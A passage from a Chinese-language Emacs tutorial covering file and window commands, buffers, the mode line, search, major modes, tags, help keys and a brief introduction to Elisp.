<P style="TEXT-INDENT: 2em">auto-complete的功能,或者会秀出到目前为止档名前几 </P>
<P style="TEXT-INDENT: 2em">个字和输入一样的. (TAB键也有类似功能) </P>
<P style="TEXT-INDENT: 2em">C-x C-f 叫 find-file </P>
<P style="TEXT-INDENT: 2em">C-x C-s 存档 (save current file, save current buffer) </P>
<P style="TEXT-INDENT: 2em">C-x s&nbsp;&nbsp;&nbsp; 存所有的档 </P>
<P style="TEXT-INDENT: 2em">C-x i&nbsp;&nbsp;&nbsp; 插入档案&nbsp;&nbsp; 把另外的档案的内容读入目前编辑区内 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">视窗 </P>
<P style="TEXT-INDENT: 2em">Emacs把档案读进来,存在buffer中. </P>
<P style="TEXT-INDENT: 2em">我们透过window来看/编辑buffer. </P>
<P style="TEXT-INDENT: 2em">两个视窗会把萤幕切成两部份, 他们可以同时显示 </P>
<P style="TEXT-INDENT: 2em">相同的, 或不同的档案. </P>
<P style="TEXT-INDENT: 2em">对初学者而言, 最需要的是记住怎样让不想要的视窗消失: </P>
<P style="TEXT-INDENT: 2em">C-x 0 关掉目前的视窗 </P>
<P style="TEXT-INDENT: 2em">C-x 1 会让目前的视窗占满整个萤幕 (One Window), </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 取消/关掉其他的视窗. </P>
<P style="TEXT-INDENT: 2em">Emacs里面有许多功能都会开一个小视窗来和使用者沟通, 显示讯息. </P>
<P style="TEXT-INDENT: 2em">有时候不会自动消失很讨厌, C-x 1 就很有用. </P>
<P style="TEXT-INDENT: 2em">另一个功能是如何跳到另一个视窗. </P>
<P style="TEXT-INDENT: 2em">C-x o&nbsp;&nbsp; (other-window) </P>
<P style="TEXT-INDENT: 2em">C-x 2 把目前的视窗切成两个 (水平分割) </P>
<P style="TEXT-INDENT: 2em">C-x 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (垂直分割) </P>
<P style="TEXT-INDENT: 2em">C-x 4 是一串与视窗有关的指令. </P>
<P style="TEXT-INDENT: 2em">C-x 4 是一串与视窗有关的指令. </P>
<P style="TEXT-INDENT: 2em">C-x 5 则是扩展到X的视窗, 称为frame. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C-x 5 2 就是再开另一个X视窗 (frame). </P>
<P style="TEXT-INDENT: 2em">多档编辑 </P>
<P style="TEXT-INDENT: 2em">C-x C-b 看目前有那些buffer (buffer就是emacs放开起的档案的地方). </P>
<P style="TEXT-INDENT: 2em">C-x b 然後在minibuffer输入buffer的名字,可以切换编辑buffer. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TAB键也有作用. 有些内部的buffer (就是没有档案的buffer), </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是用*开头和结束, 这个也要打, 如*scratch* </P>
<P style="TEXT-INDENT: 2em">最候提醒: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; C-x 1 可以把多馀的视窗关掉. </P>
<P style="TEXT-INDENT: 2em">Emacs扩充指令 </P>
<P style="TEXT-INDENT: 2em">前面介绍的emacs按键大部份都是C-&lt;chr&gt; 或者 M-&lt;chr&gt;的形式. </P>
<P style="TEXT-INDENT: 2em">这是最简单的按法, 由一对按键构成一个指令. </P>
<P style="TEXT-INDENT: 2em">Emacs的按键可以超过2个以上. 如 C-x 1 或 C-x C-b. </P>
<P style="TEXT-INDENT: 2em">一般超过一个按键组合的命令都是用C-x 开头. </P>
<P style="TEXT-INDENT: 2em">另外你也可以直接下命令. 按 M-x 之後就可以打一个Emacs命 </P>
<P style="TEXT-INDENT: 2em">令来执行. 一般这些命令名字都很长, 不过都不常用. 等一下 </P>
<P style="TEXT-INDENT: 2em">我们会介绍一些. 还有介绍怎麽把这些命令设成按键指令. </P>
<P style="TEXT-INDENT: 2em">C-x C-c 就是结束Emacs. 不过一般Emacs很笨重, 一旦起动就不轻易 </P>
<P style="TEXT-INDENT: 2em">退出. 所以比较常用的是C-z </P>
<P style="TEXT-INDENT: 2em">C-z 把Emacs暂停, 回到命令列. 当你下次再需要编辑时,打fg %emacs </P>
<P style="TEXT-INDENT: 2em">就可以把Emacs唤醒. </P>
<P style="TEXT-INDENT: 2em">在X下, C-z会把emacs缩成icon </P>
<P style="TEXT-INDENT: 2em">mode line </P>
<P style="TEXT-INDENT: 2em">emacs编辑画面由 编辑区(buffer) 状态列 (modeline) 和对话区 (minibuffer) </P>
<P style="TEXT-INDENT: 2em">构成. 这里解释 modeline 显示的讯息. </P>
<P style="TEXT-INDENT: 2em">以下是个范例: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; --**-XEmacs: xemacs.qs&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Fundamental)----74%------- </P>
<P style="TEXT-INDENT: 2em">由後面往前解释, 74% 表示游标的位置. </P>
<P style="TEXT-INDENT: 2em">(Fundamental)表示编辑模式.这是最原始的模式. 编辑不同种类的文章 </P>
<P style="TEXT-INDENT: 2em">可能希望用不同的模式, 比如说C-mode, lisp-mode, tex-mode, text-mode </P>
<P style="TEXT-INDENT: 2em">等等. 在不同模式下可能多一些按键出来. 举例text-mode. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; M-x text-mode </P>
<P style="TEXT-INDENT: 2em">可以切入text-mode, 这是一般人编辑文字使用的模式. 和Fundamental mode </P>
<P style="TEXT-INDENT: 2em">没什麽差异. 不过游标移动时, Emacs对一个字的定义就有所不同, 因而 </P>
<P style="TEXT-INDENT: 2em">M-f M-b 等移动一个字, 一个段落的指令就可能会停在标点符号的前面. </P>
<P style="TEXT-INDENT: 2em">此时状态列变为... (Text)----70%--- </P>
<P style="TEXT-INDENT: 2em">以上说的是Major mode. 另外还有minor mode, 其实就是一些额外的功能. </P>
<P style="TEXT-INDENT: 2em">比如说, M-x auto-fill-mode 则状态列显示 (Text Fill). </P>
<P style="TEXT-INDENT: 2em">auto-fill就是自动断行, 让文章每行固定有70个字. </P>
<P style="TEXT-INDENT: 2em">M-X fundamental-mode 可以变回来. </P>
<P style="TEXT-INDENT: 2em">这里要说明一下, emacs在 minibuffer下有auto-completion的功能, </P>
<P style="TEXT-INDENT: 2em">也就是打M-x fund 然後按 SPC, 它会自动补全 fundamental-mode, </P>
<P style="TEXT-INDENT: 2em">不用全打. 如果有两个以上的选择, 它会告诉你. 这个功能对 </P>
<P style="TEXT-INDENT: 2em">find-file (C-x C-f)等等档案编辑功能也有效. 前面提过. </P>
<P style="TEXT-INDENT: 2em">最後解释两个**号. 右边的*表示文章被修改过了. </P>
<P style="TEXT-INDENT: 2em">左边的* 表示这个编辑区(buffer)可以修改. </P>
<P style="TEXT-INDENT: 2em">有一些emacs的buffer是read-only buffer, 就会标成% </P>
<P style="TEXT-INDENT: 2em">%%表示档案是read-only. </P>
<P style="TEXT-INDENT: 2em">C-x C-q 可以解开read-only的锁定, 无论如何你要改这个编辑区. </P>
<P style="TEXT-INDENT: 2em">这是个toggle指令, 如果原来是可以修改的, C-x C-q会把它切成 </P>
<P style="TEXT-INDENT: 2em">read-only. </P>
<P style="TEXT-INDENT: 2em">Search </P>
<P style="TEXT-INDENT: 2em">没有Search 功能的编辑器简直就是小朋友的玩具. Search </P>
<P style="TEXT-INDENT: 2em">是一项很重要的功能, 所以emacs也提供的很完善. </P>
<P style="TEXT-INDENT: 2em">C-s </P>
<P style="TEXT-INDENT: 2em">C-r </P>
<P style="TEXT-INDENT: 2em">M-x re-search-forward </P>
<P style="TEXT-INDENT: 2em">M-x re-search-backward </P>
<P style="TEXT-INDENT: 2em">M-x search-forward </P>
<P style="TEXT-INDENT: 2em">M-x search-backward </P>
<P style="TEXT-INDENT: 2em">以上这些指令是基本的search指令. C-s, C-r是increamental search, </P>
<P style="TEXT-INDENT: 2em">就是你打字的同时, emacs就直接帮你找. 一个是forward, 一个是backward. </P>
<P style="TEXT-INDENT: 2em">找到了怎麽办? 按C-g可以取消搜寻, 跳回原来的位置. 按Enter就让游标 </P>
<P style="TEXT-INDENT: 2em">停在找到的地方 -- 此时minibuffer显示:Mark saved where search started </P>
<P style="TEXT-INDENT: 2em">什麽意思? 就是isearch帮你在原来的位置设了一个mark, 然後把point </P>
<P style="TEXT-INDENT: 2em">(cursor) 移到新的位置. </P>
<P style="TEXT-INDENT: 2em">想跳回去原先的地方? </P>
<P style="TEXT-INDENT: 2em">C-x C-x 就可以了.(exchange-point-and-mark) </P>
<P style="TEXT-INDENT: 2em">C-u C-SPC 可以依序跳回前几次设mark的地方. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (C-SPC是设mark, 给它一个argument, 就是反动作) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (还记不记得C-u 可以给後面的指令设一些参数. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 有些指令拿这个参数来当作repeat count, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 有些指令就只拿来当作on/off, true/false, set/clear而已) </P>
<P style="TEXT-INDENT: 2em">M-x re-search-forward可以让你用regular expression搜寻. </P>
<P style="TEXT-INDENT: 2em">M-x search-forward则没有increamental的功能. </P>
<P style="TEXT-INDENT: 2em">另外一个指令, 作用和grep很像: </P>
<P style="TEXT-INDENT: 2em">M-x occure </P>
<P style="TEXT-INDENT: 2em">和search相提并论的就是replace. </P>
<P style="TEXT-INDENT: 2em">M-x replace 然後按 SPC, 就知道了. </P>
<P style="TEXT-INDENT: 2em">Emacs的设定: </P>
<P style="TEXT-INDENT: 2em">Emacs的设定档是 $HOME/.emacs </P>
<P style="TEXT-INDENT: 2em">你应该多少知道, emacs是用lisp写成的编辑器, .emacs档也都是 </P>
<P style="TEXT-INDENT: 2em">要用lisp的语法设定. emacs用的lisp称为elisp, 和一般的lisp差一点点. </P>
<P style="TEXT-INDENT: 2em">有一个info page, emacs-lisp-intro, 深入浅出的介绍emacs lisp. </P>
<P style="TEXT-INDENT: 2em">如果你还不会, 不懂programming, 强烈建议你看这份文件. 如果你 </P>
<P style="TEXT-INDENT: 2em">会texinfo, 你可以把它很漂亮的印出来. (内容一点点而已, 两三 </P>
<P style="TEXT-INDENT: 2em">天就看完了) </P>
<P style="TEXT-INDENT: 2em">如果你把.emacs搞砸了, 进emacs很奇怪, 怎麽办? </P>
<P style="TEXT-INDENT: 2em">1. 用 vi 改 .emacs :&gt; </P>
<P style="TEXT-INDENT: 2em">2. emacs -q 进 emacs </P>
<P style="TEXT-INDENT: 2em">Major Modes </P>
<P style="TEXT-INDENT: 2em">一般常见的emacs major mode有 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; fundamental-mode </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; text-mode </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; lisp-mode&nbsp;&nbsp;&nbsp; 有自动对括号/重排, 直接执行lisp code功能. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; c-mode/cc-mode c-mode是比较旧的c-mode, cc-mode应该是 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目前新的c-mode. 有自动重排/对括号的功能. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 也可以在emacs内compile, 跳到compiler error </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 修正错误. 执行程式时debug. (配合dbx/gdb) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; compile是透过Makefile进行. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; tex-mode&nbsp;&nbsp;&nbsp;&nbsp; Tex/Latex编辑模示. 可能是打一些奇怪的标点 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 符号比较方便. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; &lt;programming-language&gt;-mode </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 同lisp/cc-mode. 如果是interpreter的话, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; emacs通常都可以直接执行/debug. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; &lt;programming-language&gt;-mode还有tags的功能, 後述. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; html-mode, texinfo-mode, sgml-mode: 编写html, texi, sgml之用. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; w3-mode&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WWW browser. 在x-win上不满意,但可以接受... </P>
<P style="TEXT-INDENT: 2em">Tags </P>
<P style="TEXT-INDENT: 2em">Tags 是一个显为人知的功能? 所以我想提一下. 这不是emacs发明的, </P>
<P style="TEXT-INDENT: 2em">而是vi 原本的特异功能. emacs只是发扬光大而已. </P>
<P style="TEXT-INDENT: 2em">假设你有一个目录, 里面是一个程式的原始码, 比如说, tin 的原始码, </P>
<P style="TEXT-INDENT: 2em">放在 ~/tin-1.3beta 下面. 你想看它们. </P>
<P style="TEXT-INDENT: 2em">首先, 叫emacs cd到该目录: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp; M-x cd </P>
<P style="TEXT-INDENT: 2em">然後, 建立tag table. </P>
<P style="TEXT-INDENT: 2em">tag table 就是一张对照表, 记录哪个符号(variable/function call) </P>
<P style="TEXT-INDENT: 2em">对映到哪个档案的哪个地方. 有这张表, emacs可以让我们快速的在程 </P>
<P style="TEXT-INDENT: 2em">式码内游走. 一般这张表是一个档案, 叫作TAGS (大写) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; M-! etags *.[ch] </P>
<P style="TEXT-INDENT: 2em">M-! 是执行external shell command的意思. etags就是emacs的建表程式. </P>
<P style="TEXT-INDENT: 2em">你只要告诉它你的source code在那□即可. </P>
<P style="TEXT-INDENT: 2em">vi的话是使用ctags这个程式, 它建出来的档名叫tags (小写). 因为 </P>
<P style="TEXT-INDENT: 2em">我们介绍emacs, 所以不管它. </P>
<P style="TEXT-INDENT: 2em">然後, 怎麽看程式? 你知道所有的C 程式都是由main()开始, 所以你想 </P>
<P style="TEXT-INDENT: 2em">找到main()在哪个档案. 这时只要按&nbsp;&nbsp; M-. 然後emacs会问你tag table </P>
<P style="TEXT-INDENT: 2em">在哪里. 因为我们已经cd到该目录, 直接按enter就好了. 然後输入main, </P>
<P style="TEXT-INDENT: 2em">emacs就会把你带到main(){ ... }去. </P>
<P style="TEXT-INDENT: 2em">如果 你看到某个程式片断呼叫一个你没看过的函式, 你可以把游标 </P>
<P style="TEXT-INDENT: 2em">移到该函式的名字上, M-. ENTER 就搞定了. </P>
<P style="TEXT-INDENT: 2em">如果 emacs找错了 (比如有变数和函式同名, emacs跳到变数去), </P>
<P style="TEXT-INDENT: 2em">那你可以用 C-u M-. 找下一个. </P>
<P style="TEXT-INDENT: 2em">在编辑程式码的时候, M-SPC 很有用, 它会把游标附近的空白缩成一个. </P>
<P style="TEXT-INDENT: 2em">在其它地方也有效. </P>
<P style="TEXT-INDENT: 2em">Emacs的一些package: </P>
<P style="TEXT-INDENT: 2em">M-x dired&nbsp;&nbsp; (或C-x d) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 游走/编辑 目录, 就是档案总管的意思 :) </P>
<P style="TEXT-INDENT: 2em">M-x man&nbsp;&nbsp;&nbsp; 就是man page </P>
<P style="TEXT-INDENT: 2em">M-x shell 开个command prompt, 不过不能跑vi,elm, tin... </P>
<P style="TEXT-INDENT: 2em">M-x gnus&nbsp;&nbsp; 读新闻/读信 </P>
<P style="TEXT-INDENT: 2em">M-x rmail 读信 </P>
<P style="TEXT-INDENT: 2em">M-x vm&nbsp;&nbsp;&nbsp;&nbsp; view mail </P>
<P style="TEXT-INDENT: 2em">M-x mh-rmail 读信 (package mh-e) </P>
<P style="TEXT-INDENT: 2em">M-x mh-smail 送信 (package mh-e) </P>
<P style="TEXT-INDENT: 2em">强列建议改用emacs读news/bbs. 世界会更美好! </P>
<P style="TEXT-INDENT: 2em">读信的话就要看你的感觉. 这些读信程式都会把信从系统的mail folder </P>
<P style="TEXT-INDENT: 2em">搬到自己的目录下, 占用quota, 我不喜欢 :p 建议elm或mutt. </P>
<P style="TEXT-INDENT: 2em">除非参加mailling list配合procmail. 不然不实用. </P>
<P style="TEXT-INDENT: 2em">用mh-e 须要装mh 这个外部程式, 不太好. 建议vm 或 gnus. </P>
<P style="TEXT-INDENT: 2em">写完信, C-c C-c 就可以送信. </P>
<P style="TEXT-INDENT: 2em">如果你的资料用rcs/sccs作版本管理, emacs自动会起动version control </P>
<P style="TEXT-INDENT: 2em">(minor mode.), c-x c-q 变成check-in/check-out. </P>
<P style="TEXT-INDENT: 2em">如何取得更多的资讯: </P>
<P style="TEXT-INDENT: 2em">Emacs的lisp 经过多年的发展,已成为完整的self-documenting系统. </P>
<P style="TEXT-INDENT: 2em">很多东西都可以线上找到你要的资讯. </P>
<P style="TEXT-INDENT: 2em">前面说过,或者你已经不小心按backspace遇到了, C-h (就是backspace </P>
<P style="TEXT-INDENT: 2em">的ascii码) 在emacs里面是help的意思, 它可以带出一串指令. </P>
<P style="TEXT-INDENT: 2em">常用的有: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h F&nbsp;&nbsp;&nbsp; Emacs FAQ&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h t&nbsp;&nbsp;&nbsp; Emacs 使用教学 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h n&nbsp;&nbsp;&nbsp; Emacs NEWS file, 介绍最近改版的新功能 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h i&nbsp;&nbsp;&nbsp; Info system. Info是gnu用来取代man page的系统, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 基本上和文字模示的WWW差不多. 有许多重要的资讯 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以在这边找到. 如果你是新手, 建议你在x-win下 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看. 不然, 按键 m (menuitem), SPC next page </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; l (last node: node就是章节的意思) u (up node) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d (directory, 索引). BS (Backspace, back a page). </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果全部只按SPC, 就跟man 一样. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h k&nbsp;&nbsp;&nbsp; describe key, 告诉你按这个键执行那个lisp function. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h f&nbsp;&nbsp;&nbsp; describe function. 告诉你function在作什麽. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果只按SPC, emacs会给你所有lisp 函数的列表, 和说明. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h v&nbsp;&nbsp;&nbsp; describe variable 同function. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h a&nbsp;&nbsp;&nbsp; apropos的意思(approximate).&nbsp;&nbsp; 给lisp function的部份 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 字串, emacs帮你找. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h b&nbsp;&nbsp;&nbsp; 列出目前所有的keybinding </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h m&nbsp;&nbsp;&nbsp; mode help. 列出目前的mode的特殊说明. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-c C-h 列出以C-c 开头的所有key-binding. 虽然说Emacs </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以定义按键, 可是Ctrl- 开头的所有组合大概都用光了, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只有C-c算是可以自定指令. 不过有些mode也侵犯这个空间. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目前的convention是C-c &lt;chr&gt; 留给user, C-c C-&lt;chr&gt; </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 留给package. </P>
<P style="TEXT-INDENT: 2em">有以上这些help, 你的emacs/elisp功力会随著时间成长. </P>
<P style="TEXT-INDENT: 2em">Elisp 简介: </P>
<P style="TEXT-INDENT: 2em">Emacs有三份手册.第一份是使用手册, 第二份是Elisp 手册, 第三份是 </P>
<P style="TEXT-INDENT: 2em">Elisp 简介.&nbsp;&nbsp; 第三份的程度是入门级, 值得看. Elisp手册其实也写的 </P>
<P style="TEXT-INDENT: 2em">很简单, 还教你lisp, 不过有点长, 适合参考. </P>
<P style="TEXT-INDENT: 2em">因为我lisp没有仔细学过, 所以: </P>
<P style="TEXT-INDENT: 2em">以下所言, 如有巧合, 那才是真的. </P>
<P style="TEXT-INDENT: 2em">Basic data type </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 字串 (string) "Hello, World" </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 字元 (char)&nbsp;&nbsp; ?a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; 问号开头 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; atom &amp; list: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1 2 3 4)&nbsp;&nbsp; 是一个list, 由 4个 atom 组成. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; pair:&nbsp;&nbsp; 中间是句点. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (apple . 2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">alist (associated list) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 就是一堆 pair的集合,就像perl/tcl的associative array. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 或者说是一个资料库, 一堆 (key, value) pair. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '((Apple&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; . 1) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Orange&nbsp;&nbsp;&nbsp;&nbsp; . 2) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (PineApple . 3)) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; vector (?) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; emacs 19用vector 来表示按键(key strok sequence) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [f1] [f2] [f1 a] </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; nil&nbsp;&nbsp; 就是空的list, 或者表示 false </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; t&nbsp;&nbsp;&nbsp;&nbsp; true </P>
<P style="TEXT-INDENT: 2em">Forms </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 我们写程式最好有样版让我们填空最简单了. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; Form 就是样版, 不过意义不太一样. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; Form 就是Elisp 可以接受的句型. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; lisp 解译器 预设是对list的每个元素求值(evaluate), </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 除非是 special form, 有特殊的定义. 比如说 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (defun FUNC (ARG-LIST) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BODY ...) </P>
<P style="TEXT-INDENT: 2em">就是一个special form, 用来定义函式, 所以FUNC 不会被 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 求值, 被当成symbol, ... </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (quote (LIST)) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 这也是个special form, 叫 lisp 把 (LIST)当做symbol就好了, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 不要 evaluate. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; quote 很常用, 所以有个缩写: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; '(LIST)&nbsp;&nbsp; 等於 (quote (LIST)) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 'Asymbol 可以表示一个Atom, 名称叫Asymbol </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; set 可以产生/定义新的变数. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (set 'hello 1) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; ; hello = 1&nbsp;&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; ; 注意我们用 'hello, 所以lisp不会evaluate hello的值. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 这家伙很常用, 也有简写. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (setq hello 1) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; setq 就是set quote 的缩写. 这是个 special form, 不会对 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; 第二个元素求值. </P>
<P style="TEXT-INDENT: 2em">valuation </P>
<P style="TEXT-INDENT: 2em">在Emacs下, C-x C-e 可以执行(evaluate, 求值)游标左边的叙述. </P>
<P style="TEXT-INDENT: 2em">结果会出现在minibuffer. </P>
<P style="TEXT-INDENT: 2em">lisp-interaction-mode中 C-j 可以evaluate, 并且把结果append到 buffer. </P>
<P style="TEXT-INDENT: 2em">lisp 程式由一堆list 构成.称为expression. </P>
<P style="TEXT-INDENT: 2em">每个expression 都回传回一个值. </P>
